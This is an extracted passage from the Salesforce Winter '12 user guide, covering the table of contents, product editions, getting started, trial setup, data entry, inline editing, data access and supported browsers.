Sunteți pe pagina 1din 3332

User Guide: Winter '12

How to be Successful with Salesforce

Last updated: October 22, 2011


Copyright 20002011 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other

names and marks. Other marks appearing herein may be trademarks of their respective owners.

Table of Contents

Table of Contents
Welcome.............................................................................................................................................1 What's New in Salesforce?....................................................................................................................1
Overview...................................................................................................................................................................................2 Getting Started........................................................................................................................................................................10

Working in Salesforce........................................................................................................................29
Personal Setup.........................................................................................................................................................................29 Home Tab...............................................................................................................................................................................52 Accounts..................................................................................................................................................................................60 Activities..................................................................................................................................................................................98 Contacts................................................................................................................................................................................160 Contact Roles........................................................................................................................................................................190 Contracts...............................................................................................................................................................................194 Custom Object Records........................................................................................................................................................206 Documents............................................................................................................................................................................217 Email.....................................................................................................................................................................................228 List Views..............................................................................................................................................................................241 Notes & Attachments...........................................................................................................................................................256 Salesforce CRM Content......................................................................................................................................................261 Salesforce for Google Apps...................................................................................................................................................292 Search and Tags....................................................................................................................................................................314

Administering Salesforce..................................................................................................................352 Setting Up Your Organization..................................................................................................352


Company Information...........................................................................................................................................................357 Multiple Currencies...............................................................................................................................................................413 Advanced Currency Management.........................................................................................................................................417 Divisions................................................................................................................................................................................421

Managing Mail Merge Templates............................................................................................429 Using Letterheads....................................................................................................................433 Managing Email Templates.....................................................................................................436


Translation Workbench........................................................................................................................................................451 User Management.................................................................................................................................................................472 Security and Sharing..............................................................................................................................................................574 Data Management.................................................................................................................................................................702 Data.com (Formerly Jigsaw) Administration........................................................................................................................818

Table of Contents Monitoring............................................................................................................................................................................828 Salesforce Mobile..................................................................................................................................................................858 Administering Salesforce for Outlook...................................................................................................................................919 Email Administration............................................................................................................................................................941 Search and Tags....................................................................................................................................................................952 Customize.............................................................................................................................................................................956 Critical Updates Console.....................................................................................................................................................1487 Force.com Sites...................................................................................................................................................................1491 Customer Portal..................................................................................................................................................................1538

Building and Extending Apps..........................................................................................................1589 App Setup Overview..............................................................................................................1589


Create..................................................................................................................................................................................1590 Develop...............................................................................................................................................................................1824 Deploy.................................................................................................................................................................................2025 Installed Packages................................................................................................................................................................2042

Building Sites.................................................................................................................................2070 Siteforce Overview.................................................................................................................2070 About Publisher and Contributor Features..............................................................................2071 Setting Up Siteforce Users......................................................................................................2072 Planning and Implementing a Siteforce Website.....................................................................2073 Sites Tab Overview................................................................................................................2075 Using Siteforce Studio as a Publisher......................................................................................2076 Using Siteforce Studio as a Contributor..................................................................................2077 Creating a Siteforce Site.........................................................................................................2078
Creating and Managing Pages.............................................................................................................................................2079

Importing and Using Assets....................................................................................................2089 Setting Site Properties...........................................................................................................2091


Adding Features and Page Elements...................................................................................................................................2092 Styling Your Website..........................................................................................................................................................2104 Using Events to Create Animated Effects...........................................................................................................................2117 Editing the Site Content.....................................................................................................................................................2120

Previewing Siteforce Sites......................................................................................................2128


Managing Domains and Live Sites.....................................................................................................................................2129

ii

Table of Contents

Collaborating with Chatter.............................................................................................................2132 Chatter Overview..................................................................................................................2132 Using Chatter........................................................................................................................2135 Chatter Tab Overview............................................................................................................2135
User Profiles........................................................................................................................................................................2136 People..................................................................................................................................................................................2141 Groups.................................................................................................................................................................................2143 Feeds...................................................................................................................................................................................2156 Files.....................................................................................................................................................................................2173 Search..................................................................................................................................................................................2192 Topics..................................................................................................................................................................................2194 Messages..............................................................................................................................................................................2197 Email Notifications.............................................................................................................................................................2201 Recommendations...............................................................................................................................................................2203 Moderating Chatter............................................................................................................................................................2205 Chatter Desktop..................................................................................................................................................................2207

Selling............................................................................................................................................2216
Account Teams...................................................................................................................................................................2216 Assets...................................................................................................................................................................................2222 Competitors.........................................................................................................................................................................2230 Forecasting..........................................................................................................................................................................2234 Customizable Forecasts.......................................................................................................................................................2241 Forecasts..............................................................................................................................................................................2252 Opportunities......................................................................................................................................................................2265 Quotes.................................................................................................................................................................................2284 Data.com (Formerly Jigsaw)................................................................................................................................................2297 Products...............................................................................................................................................................................2316 Team Selling.......................................................................................................................................................................2342 Territory Management........................................................................................................................................................2349 Salesforce for Wealth Management....................................................................................................................................2377 Relationship Groups............................................................................................................................................................2385 Salesforce for Outlook.........................................................................................................................................................2404 Connect for Outlook...........................................................................................................................................................2432 Connect for Lotus Notes.....................................................................................................................................................2460 Connect for Office..............................................................................................................................................................2488 Connect Offline..................................................................................................................................................................2495 Mail Merge..........................................................................................................................................................................2515

Marketing......................................................................................................................................2521
Campaigns...........................................................................................................................................................................2521

iii

Table of Contents Leads...................................................................................................................................................................................2570 Salesforce for Google AdWords..........................................................................................................................................2592

Analytics........................................................................................................................................2606
Reporting.............................................................................................................................................................................2606 Dashboards..........................................................................................................................................................................2700 Report Types.......................................................................................................................................................................2735 Analytic Snapshots..............................................................................................................................................................2744

Providing Support..........................................................................................................................2758
Call Center..........................................................................................................................................................................2758 Cases....................................................................................................................................................................................2802 Case Teams.........................................................................................................................................................................2832 Portals..................................................................................................................................................................................2844 Solutions..............................................................................................................................................................................2845 Salesforce Knowledge..........................................................................................................................................................2869 Console................................................................................................................................................................................2902 Service Cloud Console........................................................................................................................................................2912 Ideas....................................................................................................................................................................................2923 Answers...............................................................................................................................................................................2938 Social Media........................................................................................................................................................................2949 Entitlement Management...................................................................................................................................................2950

Partner Selling................................................................................................................................3008
Salesforce to Salesforce........................................................................................................................................................3008 Connection Finder..............................................................................................................................................................3039 Partners...............................................................................................................................................................................3043 Partner Portal......................................................................................................................................................................3049 Database.com......................................................................................................................................................................3095

More Resources..............................................................................................................................3096
FAQ....................................................................................................................................................................................3096 Printable Tip Sheets & User Guides...................................................................................................................................3273 Accessibility.........................................................................................................................................................................3278 Salesforce Online Help Glossary.........................................................................................................................................3288

Checkout.......................................................................................................................................3322
Checkout.............................................................................................................................................................................3322

iv

WELCOME

What's New in Salesforce?


Current Release
The latest release includes new features for sales, support, marketing, and Chatter users as well as enhancements to the platform. For more information, visit the Winter '12 community page. For a complete listing of new features along with implementation tips and best practices, see: Winter '12 Release Notes Force.com Connect for Lotus Notes Release Notes Force.com Connect for Office Release Notes Force.com Connect Offline Release Notes Force.com Connect for Outlook Release Notes Salesforce for Outlook Release Notes Database.com Release Notes

Past Releases
For information about new features introduced in previous releases, see: Summer '11 Release Notes Spring '11 Release Notes Winter '11 Release Notes Summer '10 Release Notes Spring '10 Release Notes Winter '10 Release Notes Summer '09 Release Notes Spring '09 Release Notes Winter '09 Release Notes Summer '08 Release Notes Spring '08 Release Notes Winter '08 Release Notes Summer '07 Release Notes Spring '07 Release Notes Force.com Mobile 7.0 for BlackBerry Release Notes Force.com Mobile 6.1 for Windows Mobile 5 Release Notes Winter '07 Release Notes Summer '06 Release Notes Winter '06 Release Notes Force.com Mobile 6.0 Release Notes Summer '05 Release Notes

Overview

Introduction

Winter '05 Release Notes Summer '04 Release Notes Spring '04 Release Notes Winter '04 Release Notes

OVERVIEW
Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate with other systems, and build your own applications. Salesforce includes the following products and services: Salesforce Applications Salesforce includes prebuilt applications for customer relationship management (CRM) ranging from sales force automation to partner relationship management, marketing, and customer service. Force.com Platform The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click customization tools to help you create solutions for your unique business requirements, without any programming experience. Database.com Database.com is a multitenant cloud database service thats designed to store data for mobile, social, web, and desktop applications. You can use Database.com as the back-end database for applications that are written in any language, and run on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for building sophisticated REST-based APIs enables you to create employee-facing, native mobile and social apps. AppExchange AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers, and partners. Many of the applications are free and all of them are pre-integrated with Salesforce, enabling you to easily and efficiently add functionality.

Overview

What Is an Edition?

Salesforce.com Community Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be successful. Visit Salesforce.com Community.

See Also:
Sales Cloud Overview Service Cloud Overview What Is an Edition? Personal Edition Group Edition Professional Edition Enterprise Edition Unlimited Edition Developer Edition Database.com Edition

What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature that is available in Professional Edition for an additional fee may be included in Enterprise Edition. For a comparison chart of Editions and their features, see Selecting the right Salesforce Edition. The online help describes all generally available features, including those that may not be available in your Edition. Refer to the Available in: line at the top of a help topic to see if it applies to your Edition.

See Also:
Introduction Personal Edition Group Edition Professional Edition Enterprise Edition Unlimited Edition Developer Edition Viewing User License Types

Personal Edition

Overview

Personal Edition

Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook. It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June 2009 still have access to opportunities.

Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts, contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use customization options. For more information about Contact Manager features, visit the Salesforce Pricing & Editions page.

Group Edition
Salesforce Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports. For more information about Group Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Tip sheet: Using Group Edition Administrator tip sheet: Setting Up Group Edition

Professional Edition
Salesforce Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to mid-sized deployment. For more information about Professional Edition features, visit the Salesforce Pricing & Editions page.

Enterprise Edition
Salesforce Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the functionality available in Professional Edition, Enterprise Edition organizations get advanced customization and administration tools that can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can easily integrate with back-office systems. For more information about Enterprise Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide Force.com API Usage Limits

Overview

Unlimited Edition

Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility for managing and sharing all of their information on demand. Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom apps, increased storage limits, and more. For more information about Unlimited Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Enterprise Edition Force.com API Usage Limits

Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce system, integrate with other applications, and develop new tools and applications. Developer Edition provides access to many of the features available with Enterprise Edition. Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for Developer Edition is available from the Technical Library.

See Also:
Force.com API Usage Limits Force.com Free Edition

Force.com Free Edition


Force.com Free Edition is a Salesforce organization designed for developing and deploying one Force.com app for up to 100 users. You can upgrade your Free Edition account to a paid subscription if you need to deploy more custom applications to more users in the future. Free Edition includes most Force.com features but does not provide users with Salesforce CRM functionality and standard objects, such as accounts, contacts, campaigns, leads, opportunities, forecasts, products, cases, and solutions. For more information about Free Edition features, visit the Salesforce Pricing & Editions page. The following table shows the differences and similarities between Free Edition and Salesforce.com's other development environment, Developer Edition: Free Edition Force.com Development Yes Developer Edition Yes

Overview

Database.com Edition

Force.com Deployment Upgradeable CRM Self-Service Mobile Platform Customer Portal Partner Portal Developer preview features Multi-language support

Yes Yes No No No No No No No

No No Yes Yes Yes Yes Yes Yes Yes

Salesforce.com does not provide technical support for Free Edition. You can solicit help from the developer community message boards available to registered users via the Force.com developer websitedeveloper.force.com.

See Also:
Developer Edition

Database.com Edition
Database.com is a multitenant cloud database service thats designed to store data for mobile, social, web, and desktop applications. You can use Database.com as the back-end database for applications that are written in any language, and run on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for building sophisticated REST-based APIs enables you to create employee-facing, native mobile and social apps. As a Salesforce user, youre already using Database.com when youre performing tasks such as creating custom objects, managing security, or importing data with the Force.com platform and API. A standalone version of Database.com is available for developers who want to create applications that leverage other languages, platforms, and devices.

See Also:
Getting Started with Database.com

Sales Cloud Overview

Overview

Sales Cloud Overview

Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

The Sales Cloud helps you build stronger relationships with customers, gain better visibility into sales, and close more deals, whether you're in the office or on the road. Sales Cloud features are listed below.

Selling
Account and Contact Management Accounts Account Teams Contacts Contact Roles Data.com Contracts

Opportunities Opportunities Products Quotes Competitors Team Selling Forecasts

Marketing
Leads Campaigns Salesforce for Google AdWords

Analytics
Analytic Tools Reports Dashboards

Partner Selling
Partners Partner Portal Salesforce to Salesforce

Productivity Resources
Collaboration Chatter Files Tab

Overview

Service Cloud Overview

Calendar and Email Activities Email Salesforce for Outlook Mail Merge

Content Files Tab Salesforce CRM Content Document Library Salesforce for Google Apps Connect for Office

Mobile Salesforce Mobile

Offline Connect Offline

See Also:
Service Cloud Overview Introduction

Service Cloud Overview


Your Edition determines which features and functionality you can access. To determine which Edition you are using, check the title bar of your browser.

The Service Cloud helps you provide more responsive customer service, increase agent productivity, reduce service costs, and gain better visibility into your service organization, whether you're in the office or on the road. Service Cloud features are listed below.

Contact Center
Case Management Cases Case Teams Email-to-Case Web-to-Case Console Tab Service Cloud Console

Workflow Case Auto-Response Rules

Overview

Service Cloud Overview

Case Assignment Rules Case Escalation Rules Custom Workflow Rules

Telephony Computer-Telephony Integration (CTI) Computer-Telephony Integration Toolkit

Salesforce Knowledge Base


Salesforce Knowledge Data Categories

Solutions
Solutions HTML Solutions

Entitlements and Service Contracts


Entitlement Management

Email Templates
Text, HTML, and Visualforce Email Templates

Web Portals
Customer Portal Partner Portal

Community
Answers Ideas Salesforce for Twitter and Facebook

Analytics
Analytic Tools Reports Dashboards

Productivity Resources
Collaboration Chatter Files Tab

Calendar and Email Activities

Getting Started

Getting Started with Salesforce

Email Salesforce for Outlook Mail Merge

Content Files Tab Salesforce CRM Content Document Library Salesforce for Google Apps Connect for Office

Mobile Salesforce Mobile

Offline Connect Offline

See Also:
Sales Cloud Overview Introduction

GETTING STARTED
Getting Started with Salesforce
Available in: All Editions except Database.com

With Salesforce, you can enter, organize, and find your important business data. To get started, review these preliminary steps.

For All Users


Review the Salesforce online training courses. Edit your personal information. Import your existing contacts.

For Administrators
Set up your Salesforce organization. Import your company's existing data.

10

Getting Started

Trial Overview

For Developers
Review the Documentation Resources for Force.com Developers.

See Also:
Language Settings Overview Error Messages Entering Data

Language Settings Overview


Available in: All Editions except Database.com

The Salesforce Web user interface, Salesforce for Outlook, Connect for Outlook, Connect Offline, and Connect for Office are available in multiple languages. The Salesforce Web user interface has two language settings: Personal languageAll on-screen text, images, buttons, and online help display in this language. Edit your personal information to change this setting. Default organization languageThis applies to all new users until they select their personal language. This setting also determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored. For customizations, users' personal language settings don't override this default setting. Some setup items that are manually entered by an administrator can be translated in the Translation Workbench. Administrators can change this setting by editing the company information. Text entered by users remains in the language in which it was entered.

Trial Overview
Available in: All Editions except Database.com

During your trial, you can evaluate Salesforce before you subscribe. Your trial includes: Sample data. You can delete sample data or start a new trial. Administrator privileges. The person who signed up automatically becomes the administrator. You can add another administrator when you add more users. A variety of Salesforce features. The ability to subscribe to Salesforce.

11

Getting Started

Trial Overview

Note: Features included in your trial may not be available in the Edition you choose to purchase. If you set up multiple users in your trial and later choose to convert to Personal Edition, all users except the original system administrator will be deactivated.

See Also:
Adding or Subtracting User Licenses

Deleting Trial Data


Available in: All Editions except Database.com

User Permissions Needed To delete trial data: Modify All Data

When you sign up for Salesforce, your organization is initially populated with some sample data. During your trial period, administrators can delete all of this sample data plus all of your organizations data at one time. To delete all of the existing data in a trial organization: 1. Click Your Name > Setup > Data Management > Delete All Data. This link is available only during your trial period. 2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes both sample data and data you have entered. Your user and administration setup is not affected. 3. Click Submit. After your trial period has ended, you can delete any sample data manually or with the Mass Delete feature.

See Also:
Trial Overview Starting a New Trial

Starting a New Trial

12

Getting Started

Troubleshooting Login Issues

Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed To start a new trial: Modify All Data

When you sign up for Salesforce, you can choose an industry-specific template with sample data. During your trial period, you can start a new trial with a blank template. To start a new trial, you must abandon your current trial, including all data and customizations. You can start a new trial if you have: Less than 1000 rows of data No additional user licenses added by salesforce.com No additional functionality enabled by salesforce.com

To start a new trial: 1. Click Your Name > Setup > Data Management > Start a New Trial. This link is available only during your trial period. 2. Select your language and template preferences. 3. Enter the requested text stating that you want to abandon your current trial organization and all of its data. This includes both sample data and data you have entered. 4. Check the box to confirm that all of your current trial data will be lost. 5. Click Submit. 6. When the confirmation page appears, click Submit. Note: By choosing to start a new trial, you are abandoning your current trial organization including all existing data and customizations. You will no longer be able to access the trial or data. Only usernames will be preserved.

See Also:
Trial Overview Deleting Trial Data

Troubleshooting Login Issues


Available in: All Editions except Database.com

Logging in for the first time: 1. Your administrator adds you as a user. 2. You receive an email with a link. Click the link to log in. 3. While logging in, you are prompted to change your password, and set a security question response.

13

Getting Started

Navigating

The first time you log in you are prompted to change the temporary password that was emailed to you. Salesforce recommends that you change your password periodically to protect the privacy of your data. If your administrator has set the User passwords expires in setting, you must change your password periodically. Overcoming password issues: Forgot your password? Retrieve it. Locked out? Wait until the lockout period expires and try again, or contact your administrator. Password expired? Change your password when prompted.

The password policies set up by your administrator determine how many failed logins are allowed, how long the lockout period lasts, and password requirements such as minimum length. Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you don't respond to this time-out prompt, the system displays a login page.

Navigating
Available in: All Editions except Database.com

You can navigate between pages and select options using standard text and button links. On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list that you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of the All Accounts view, clicking Back to List: Accounts returns you to that page. Similarly, if your most recently viewed list page was a list of cases, then the link would be Back to List: Cases. The link isn't available if you haven't viewed any list pages in your current session. If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page. Note: Buttons and links mentioned in the online help only display for users who have the appropriate user permissions.

See Also:
About the Sidebar Navigating Long Lists

Entering Data
Available in: All Editions except Database.com

Entering data in Salesforce is much like entering data in any Web page. You can enter data in any of the tabs, or you can import data.

14

Getting Started

Entering Data

Note the following: Remember to click Save so you dont lose your changes. Required fields are marked with red on editable pages. All other fields are optional. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.

See Also:
Entering Dates and Times Entering Currency Entering Phone Numbers Selecting Picklist Values

Entering Dates and Times


Available in: All Editions except Database.com

Many fields allow you to enter a date or a time in the format specified by your Locale setting. For more information about these formats, see What format is used for dates, times, and names in Salesforce? on page 3102. To enter a time, do one of the following: Click the link next to the field on the edit page to enter the current time. Manually enter a time in the format allowed by your Locale setting.

To enter a date: 1. Click in the date or date/time field on an edit page. 2. Choose a date from the calendar, or manually enter a date. All dates display with four digits for the year, although you can enter two or four digits according to these guidelines. Examples are shown in the English (United States) locale: Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040 Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960 Enter four digits for any year from 1700 to 4000

3. Optionally, enter a literal date value. If your locale and language are English, you can use the following special date values for entering dates: Literal Date Value Yesterday Today Tomorrow Range The day before the current day. The current day. The day after the current day.

15

Getting Started

Entering Data

Literal Date Value Monday Tuesday Wednesday Thursday Friday Saturday Sunday mm/dd

Range The next Monday. If the current day is Monday, the current day. The next Tuesday. If the current day is Tuesday, the current day. The next Wednesday. If the current day is Wednesday, the current day. The next Thursday. If the current day is Thursday, the current day. The next Friday. If the current day is Friday, the current day. The next Saturday. If the current day is Saturday, the current day. The next Sunday. If the current day is Sunday, the current day. The values for the day and month and the current year. For example, 12/31 would expand to 12/31/2009 if the year is 2009. The values for the day and month and the current year. For example, 12.31 would expand to 12/31/2009 if the year is 2009. The values for the day and month and the current year. For example, 12-31 would expand to 12/31/2009 if the year is 2009.

mm.dd

mm-dd

If the field is a date/time field, the time is set to the current time. These literal date values are not case sensitive. Tip: You can set these literal date values using the first three letters. For example, yes for yesterday or mon for Monday.

Minimum and Maximum Dates Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000.

16

Getting Started

Entering Data

Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid date is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

See Also:
Entering Data Entering Currency Entering Phone Numbers Selecting Picklist Values

Entering Currency
Available in: All Editions except Database.com

In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record. When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands, millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter criteria.

See Also:
Entering Data Entering Dates and Times Entering Phone Numbers Selecting Picklist Values Managing Multiple Currencies

Entering Phone Numbers


Available in: All Editions except Database.com

When you enter phone numbers in various phone fields, Salesforce preserves whatever phone number format you enter. However, if your Locale is set to English (United States) or English (Canada), ten-digit phone numbers and eleven-digit numbers that start with 1 are automatically formatted as (800) 555-1212 when you save the record. If you do not want this formatting for a ten- or eleven-digit number, enter a + before the number, for example, +49 8178 94 07-0.

17

Getting Started

Entering Data

Note: If your ten- and eleven-digit phone numbers have Salesforces automatic format, you may need to enter the parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment rules, for example, Phone starts with (415).

See Also:
Entering Data Entering Dates and Times Entering Currency Selecting Picklist Values

Selecting Picklist Values


In Salesforce, you may encounter a few different types of picklist fields: Standard picklists - Click the down arrow to select a single value. Multi-select picklists - Double click on any available value in one scrolling box to add that value to the selected scrolling box on the right. You can choose a single value or multiple values. To select values within a range, select the first value and click the last value in the range while holding down the SHIFT key; then, click the arrow to add selections to the chosen box. Dependent and controlling picklists work in conjunction with each other. The value chosen in the controlling picklist affects the values available in its dependent picklist. Both controlling and dependent picklists are indicated on edit pages by an icon. Hover your mouse over the icon to display the name of the controlling or dependent picklist.

See Also:
Entering Data Entering Dates and Times Entering Currency Entering Phone Numbers

Editing Data Using Inline Editing


Inline editing settings available in: All Editions except Database.com

User Permissions Needed To enable inline editing: Customize Application

Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the record's edit page first.

18

Getting Started

Entering Data

To enable inline editing for your organization, see Customizing User Interface Settings on page 1477. To edit a record using inline editing: 1. Hover your mouse over the field you want to change: indicates an editable field indicates a read-only field (such as Last Modified By)

2. Double-click the highlighted region next to the field. The field changes to edit mode. Salesforce displays compound fields in a dialog box so that all portions of the field can be edited. Examples of compound fields include addresses, first and last names, dependent picklists, and dependent lookups. 3. Enter the new value. Press Esc while your cursor is in a field's edit box to revert a change for that field. 4. Click away from the field to confirm your change and continue making edits. If you are editing a field that is not a text area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text. To revert a change, click next to the field. 5. Press Enter again or click Save to commit all confirmed changes. Important: Salesforce doesn't save confirmed changes to field values until you commit them by pressing the Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels all edits made to the record.

Tips for Saving Inline Edits Press Enter while your cursor is in a field's edit box to confirm the change for that field. Press Enter when no fields are in edit mode to save all edits to the record.

Unsupported Behaviors Removing the Edit button from a page layout doesn't prevent users from modifying the record using inline editing. To prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security, page layout field properties, validation rules, permissions or Visualforce pages. Inline editing isn't available for users with accessibility mode enabled. Inline editing isn't available for the following standard checkboxes on case, lead, and account edit pages: Case Assignment (Assign using active assignment rules) Case Email Notification (Send notification email to contact) Lead Assignment (Assign using active assignment rule) Territory Assignment (Run territory assignment rules on save)

You can't use inline editing on setup pages. Solution descriptions can't be modified using inline editing if HTML solutions are enabled. Inline editing isn't supported in the Customer Portal. You can use inline editing to change the values of fields on records for which you have read-only access, either via field-level security or your organization's sharing model; however, Salesforce doesn't let you save your changes, and displays an insufficient privileges error message when you try to save the record. Inline editing isn't supported in the dashboard. The fields in the following standard objects are not inline editable. All fields in Documents and Pricebooks All fields in Tasks except for Subject and Comment All fields in Events except for Subject, Desription, and Location

19

Getting Started

Entering Data

Full name fields of Person Accounts, Contacts, and Leads. However, their component fields are, for example, First Name and Last Name. Special Cases Inline editing is available on detail pages for all editable fields on edit pages, except for some fields on tasks, events, price books, and documents. To edit any of these, navigate to the edit page of a record, change the value of the field desired, and then click Save. The following table lists the objects that have inline editing restrictions on some of their fields. You may need special permissions to view some of these fields: Object All Objects Opportunities Fields All fields are editable except long text area fields. All fields are editable, except the following fields are only editable on detail pages (not on list views): Amount Stage Forecast Category Quantity All fields are editable, except Lead Status is only editable on detail pages (not on list views). All fields are editable, except Case Status is only editable on detail pages (not on list views). All fields are editable, except Contract Status is only editable on detail pages (not on list views). Only the following fields are editable: Description Location Subject Type Custom fields Only the following fields are editable: CallType Description Subject Type Custom fields No fields are editable. No fields are editable.

Leads Cases Contracts Events

Tasks

Documents Pricebooks

20

Getting Started

Accessing Data

Error Messages
While using Salesforce, you may occasionally get an error message. Typically, this happens when you try to view, edit, or delete information to which you don't have access. The message page that displays should explain the reason for the error. Click your browsers Back button to return to the previous page. If you feel you have incorrectly received an error, click Help & Training at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.

Accessing Data
Available in: All Editions except Database.com

Your administrator can customize many different areas to secure your company's data. Additionally, users in Professional, Enterprise, Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing records individually with colleagues. To determine whether you can access data, review this table: Action To view a tab: Access Needed You must have the Read permission on the records within that tab. Make sure you have customized your personal display to show the tab. Make sure you have the Read permission on the type of record you want to view. Professional, Enterprise, Unlimited, and Developer Edition organizations can set a sharing model that determines the access users have to records they do not own. Depending on your sharing model, the owner may need to share the record with you if you are not the owner of the record or above the owner in the role hierarchy. Enterprise, Unlimited, and Developer Edition organizations can use territory management to grant access to accounts, opportunities, and cases. Make sure you have the Read permission on the type of record for the field. For Enterprise and Unlimited Edition organizations, check the field-level security; your field-level security settings may prevent you from seeing the field. Check your page layout; depending on your page layout settings, you may see some fields and not others.

To view a record:

To view a field:

21

Getting Started

Using Salesforce Help

Action To edit a field:

Access Needed Make sure you have the Edit permission on the type of record for the field. For Enterprise and Unlimited Edition organizations, check the field-level security; your field-level security settings may set a field to Read-Only. Check your page layout; page layouts can set fields to read only. Make sure you have the Read permission on the type of records displayed in the related list. Check your page layout; depending on your page layout settings, you may see some fields and not others. Make sure you have the necessary permission to perform the action. Buttons and links only display for users who have the appropriate user permissions to use them.

To view a related list:

To view a button or link:

Using Salesforce Help


All information in the online help applies to All Editions, unless otherwise noted.

The Salesforce Help site gives you the information you need to be successful. You can: Get Help for What You're Working On Find Answers to Your Questions Print Help Download Tip Sheets and Other Guides Review Documentation for Force.com Developers Contact Support

Get Help for What You're Working On On any Salesforce page, click Help for this Page to get context-sensitive help for the page. On any related list or overlay, click Help to get context-sensitive help. Find Answers to Your Questions To get targeted information, enter keywords or a phrase in the Help search box. You'll get a list of matching resources, which you can refine by role, language, application area, or document type: help documentation, knowledge articles from Customer Support, best practices, and training classes. For more information about the Help site's features and content, start with the How to Use Help gadget on the Help site home page.

22

Getting Started

Supported Browsers

Print Help Click Print this page from any Help page to print a single page. To print the entire user guide, which is a PDF version of the help documentation, click Printable User Guide in the Documentation gadget or from any Help page. Because the user guide is thousands of pages, we recommend you print only a single page or a range of pages. Download Tip Sheets and Other Guides You can find tip sheets, user guides, and other resources from Printable Tip Sheets & User Guides on page 3273. You can also access these documents from the Documentation gadget on the Help site home page. Review Documentation for Force.com Developers If you are working with the Force.com platform, you'll find the information you need in Documentation Resources for Force.com Developers on page 1984. You can also access developer documentation from the Documentation gadget on the Help site home page. Contact Support Click Contact Support on the Help site to choose your support option: talk by phone, chat, open a case, post a question to the Salesforce community, or take another action. Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help site, but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do find any errors, please use the feedback form at the bottom of every help page.

See Also:
Custom Help Overview Replacing Salesforce Online Help

Supported Browsers
Salesforce supports the following browsers: Browser Windows Internet Explorer versions 6, 7, 8, and 9 Comments Salesforce.com strongly recommends using Internet Explorer version 9 over versions 6, 7, and 8. Apply all Microsoft hotfixes. Internet Explorer 6 is not supported for certain features. Internet Explorer 7 is not supported for Siteforce. For configuration recommendations, see Configuring Internet Explorer on page 27.

Mozilla Firefox, most recent stable version Salesforce.com recommends using Firefox for best performance and makes every effort to test and support the most recent version. For configuration recommendations, see Configuring Firefox on page 25. Google Chrome, most recent stable version Google Chrome applies updates automatically; Salesforce.com makes every effort to test and support the most recent version. There are no configuration recommendations for Chrome. Chrome is not supported for the Console tab or the Service Cloud console.

23

Getting Started

Supported Browsers

Browser Google Chrome Frame plug-in for Internet Explorer 6

